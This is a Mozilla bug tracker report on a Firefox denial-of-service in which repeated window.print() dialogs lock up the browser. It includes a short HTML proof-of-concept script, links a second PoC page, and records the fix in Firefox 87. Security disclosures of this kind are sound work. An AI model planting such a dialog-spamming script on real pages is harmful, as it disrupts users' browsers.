Closed Bug 1311596 Opened 8 years ago Closed 3 years ago

DOS in browser using window.print() function

Categories

(Core :: DOM: Core & HTML, defect, P3)

Product:
Core
Component:
DOM: Core & HTML
Version:
49 Branch
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
87 Branch
Tracking Flags:
Tracking Status
firefox87 --- fixed

People

(Reporter: sweetshanuu, Unassigned)

References

Details

(Keywords: csectype-dos, hang, Whiteboard: [sg:dos][fixed by Bug 1692232])

Attachments

(1 file)

dos_firefox.mp4
2.15 MB, video/mp4
Details
Attached video dos_firefox.mp4 — 
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Build ID: 20160922113459

Steps to reproduce:

1.Save the below script as html file 

 <html>
<title>DoS</title>
<script>
function test(){
window.onerror=new Function(history.go(window.open(window.print())));
}
 
test();
</script>
</html>

2.Open the html file in firefox browser



Actual results:

Print window will appear again and again causing dos


Expected results:

We should limit the times window.print can happen
Group: firefox-core-security → dom-core-security
Component: Untriaged → DOM
Product: Firefox → Core
Hi,
 marked by bug #1311596 as duplicate of #1311670
Which one is latest? i see that my report id is earlier than you mentioned id,
COuld you confirm
This is a Denial of Service attack. Since the testcase is identical to bug 1311670 (not just the same problem, but the same PoC code) I assume this must be public on a formum somewhere.
Group: dom-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: csectype-dos, hang
Whiteboard: [sg:dos]
Priority: -- → P3
Component: DOM → DOM: Core & HTML

Looking into (window) modal prompts I've rediscovered this. While the main print dialog seems to have rate limit logic, the print error messages do not. When window.print() is spammed in a simple while loop these error prompts stack and steal main window focus.

Could be abused similar to Bug 1571003.

PoC here: https://eviltrap. site/trap/print-dialog-dos/ (careful, this will DoS your browser)

Paul, did this get solved by tab-modal printing?

Flags: needinfo?(pbz)

Yes, should be fixed. I can't reproduce the issue anymore with the PoC from comment 6. Users can simply close the tab now when a site spams window.print.

Status: NEW → RESOLVED
Closed: 3 years ago
status-firefox87: --- → fixed
Flags: needinfo?(pbz)
Resolution: --- → FIXED
See Also: → 1692232
Whiteboard: [sg:dos] → [sg:dos][fixed by Bug 1692232]
Target Milestone: --- → 87 Branch
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: